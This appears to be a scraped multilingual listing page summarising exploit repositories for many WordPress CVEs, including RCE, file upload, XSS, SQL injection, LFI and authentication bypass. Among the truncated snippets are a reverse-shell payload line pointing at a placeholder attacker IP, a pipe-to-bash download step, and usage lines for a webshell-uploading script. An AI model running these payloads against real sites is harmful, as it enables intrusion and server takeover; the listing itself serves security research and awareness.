CVE-2017-5487-EXPLOIT

CVE-2017-5487 - 워드프레스 사용자 열거 WordPress 4.7부터 4.7.1 이전 버전의 REST API 구현에서 취약점이 발견되었습니다. 이 취약점은 wp-includes/rest-api/endpoints 디렉터리에 있는 class-wp-rest-users-controller.php 파일에 존재합니다. 결함은 게시물 작성자 목록에 대한 부적절한 제한으로 인해 발생하며, 원격 공격자가 wp-json/wp/v2/users 요청을 통해 민감한 정보를 획득할 수 있습니다. 취약점 세부 정보 root@kitploit:...

Exploit-CVE-2026-1357

依存関係のインストール pip3 install pycryptodome requests 基本エクスプロイト python3 wpvivi.py http://target.com カスタムWebシェル python3 wpvivi.py http://target.com --shell backdoor.php python3 wpvivi.py http://target.com --code "" 技術的な説明: Null Byte Key: RSA復号が失敗するとfalseが返り、phpseclibはそれを「\x00\x00\x00」として扱います。AES-128...

CVE-2026-8206

CVE-2026-8206 脆弱性: 認証なしアカウント乗っ取り — Kirki Customizer Framework におけるパスワードリセットメールの乗っ取り CVSS v3.1 9.8 / 10.0 CRITICAL ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 1. 概要 CVE-2026-8206 は、Kirki Customizer Framework — 90,000 以上のアクティブインストール数を誇る人気の WordPress ページビルダープラグイン — における認証なしアカウント乗っ取り...

WordPress WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin <= 8.7.3 - Unauthenticated Stored Cross-Site Scripting vulnerability

Unauthenticated Stored Cross-Site Scripting vulnerability discovered by Ivaylo in WordPress Plugin ChatBot versions = 8.7.3...

CVE-2022-32119

CVE-2022-32119 - Arox-Unrestricted-File-Upload PHPコードの任意実行を引き起こす、複数の無制限ファイルアップロードがあります。 認証が必要な脆弱性のあるページ: localhost/officeadmin/?pid=54&action=add root@kitploit: -----------------------------181967832439954202373233921976 Content-Disposition: form-data; name="apid" 2...

wp2shell-checker

root@kitploit: \ \ / / \ / || | | | | | | | \ \ /\ / /| | | \ | || | | | | | | \ V V / | // / | | || || | // || ||/|| ||||| wp2shell-checker | WordPress Batch API Desync Detector WordPress Core REST Batch API 사전 인증 RCE용 탐지detector 체커 0xjessie21 제작 — Cybersecurity ILCS 개요 | ---|--- 시그니처|...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security의 Docker 인증 우회 결함 설명 WordPress용 Really Simple Security 플러그인Free, Pro 및 Pro Multisite 버전 9.0.09.1.1.1은 인증 우회 취약점의 영향을 받습니다. 이 문제는 2단계 인증 REST API 작업에 사용되는 checkloginandgetuser 함수의 부적절한 오류 처리로 인해 발생합니다. 결과적으로, "Two-Factor Authentication"2단계 인증 기능이 활성...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...

wp-ulike-cve-2025-32259-poc

WP ULike ≤ 4.7.9.1 - 인증되지 않은 콘텐츠 스푸핑 CVE-2025-32259 🔬 WordPress용 WP ULike 플러그인의 CVE-2025-32259를 시연하는 간단한 PoC입니다. 🚨 교육 목적으로만 사용하세요 – 명시적 승인 없이 시스템을 테스트하지 마세요. 🧠 개요 WP ULike는 사이트에서 사용자가 콘텐츠에 좋아요를 표시할 수 있게 해주는 인기 있는 WordPress 플러그인입니다. 4.7.9.1까지의 버전에는 인증 누락 취약점 이 존재하며, 인증되지 않은 사용자가 AJAX 요청을 통해 "좋아요"...

CVE-2023-6553

CVE-2023-6553 Wordpress의 Backup 플러그인에서 CVE-2023-6553에 대한 익스플로잇 개발 CVSS 점수 9.8의 중요 CVE입니다. 이 취약점은 공격자가 취약한 버전의 플러그인이 실행 중인 서버에 명령을 전송할 수 있게 합니다. 취약한 버전 Backup :9000/a.sh |bash';?"...

CVE-2023-2982-POC

CVE-2023-2982 WordPress 소셜 로그인 및 등록 Discord, Google, Twitter, LinkedIn = 7.6.4 - 인증 우회 WordPress社交登录和注册（Discord，Google，Twitter，LinkedIn）=7.6.4-绕过身份验证 정보 The WordPress Social Login and Register Discord, Google, Twitter, LinkedIn plugin for WordPress is vulnerable to authentication bypass in versio...

CVE-2020-24186

CVE-2020-24186 이 스크립트는 WordPress의 CVE-2020-24186 취약점을 악용하여 위장된 PHP 페이로드를 업로드하고 대상 시스템에서 셸을 획득합니다. 작동 모드는 세 가지입니다: 1. 인터랙티브 셸: 기본 웹셸을 업로드하고 인터랙티브 모드로 진입하여 cmd 매개변수를 통해 명령을 보낼 수 있습니다. 2. 수동 리버스 셸: 웹셸을 업로드하고 리버스 셸 페이로드를 전송하지만, 리스너를 자동으로 실행하지 않습니다. 지정된 IP와 포트에서 직접 리스너를 수동으로 시작해야 합니다. 3. pwntools를 이용한...

Wordpress_xss-CVE-2022-29455

이 저장소에는 README가 없습니다...

CVE-2022-0739

CVE-2022-0739 BookingPress워드프레스 플러그인 SQL 인젝션 BookingPress 1.0.11 이전...

exploit-CVE-2015-8351

Gwolle Guestbook WordPress 플러그인 RFI 익스플로잇 이 Python 스크립트는 Gwolle Guestbook WordPress 플러그인의 치명적인 Remote File Inclusion RFI 취약점을 악용하며, 인증되지 않은 공격자가 원격 PHP 파일을 포함하고 취약한 시스템에서 임의 코드를 실행할 수 있습니다. 취약점 상세 정보 HTTP GET 매개변수 "abspath"가 PHP require 함수에서 사용되기 전에 적절히 정리되지 않습니다. 원격 공격자는 임의의 원격 서버에서...

CVE-2022-21661

🛡️ CVE-2022-21661 인증되지 않은 공격자가 객체 주입object injection 공격 을 수행할 수 있게 하며, 특정 조건에서는 원격 코드 실행RCE으로 이어질 수 있는 WordPress의 중대한 취약점 인 CVE-2022-21661에 대한 Python 기반 Proof-of-ConceptPoC 익스플로잇입니다. 이 구현은 z92g의 Go 기반 PoC에서 영감을 받았으며, 특히 보안 연구원과 CTF 실무자를 위해 더 쉽게 접근하고 사용하기 편리한 스크립트 버전을 제공하고자 제작되었습니다. ⚠️ 이 도구는 교육 및...

POC-CVE-2014-0166

CVE-2014-0166 的 POC&EXP WordPress 3.8.2 Cookie 伪造漏洞 此漏洞的详细信息可在此处找到 共有三个文件： wpzerocookiegenerator.php 用于验证此漏洞的 POC。 它不会 发送任何请求，只是一个本地暴力破解器。 重新定义变量以提供信息，它将尝试找出一个 zero cookie 。 zeroCatcher.py 用 python 编写的多进程 POC 与 wpzerocookiegenerator.php 相同。 不同之处在于应用了多进程以获得更好的性能。 cookieForger.py 多线程远程 EXP...

CVE-2016-10033

WordPress 4.6 - 원격 코드 실행 RCE PoC 익스플로잇 CVE-2016-10033...

Python-CVE-2020-25213

Python-CVE-2020-25213 用于 WP File Manager 漏洞的 Python 交互式利用工具。WordPress 的 File Manager wp-file-manager 插件 6.9 版本之前允许远程攻击者上传并执行任意 PHP 代码，因为它将一个不安全的示例 elFinder 连接器文件重命名为 .php 扩展名。 该脚本使用 argparse、requests、re、sys、os、json 和 random Python 模块。 要通过 pip 安装这些模块，请在命令行中执行以下命令： root@kitploit: pip install -r...

CVE-2024-6460

CVE--2024-6460 Grow by Tradedoubler 2.0.22 - 인증되지 않은 LFI 사용법 root@kitploit: ausage: CVE-2024-6460.py -h -u URL -U USERNAME -P PASSWORD -c COMPONENT Grow by Tradedoubler 2.0.22 - Unauthenticated LFI options: -h, --help show this help message and exit -u URL, --url URL Target WordPress site URL e.g...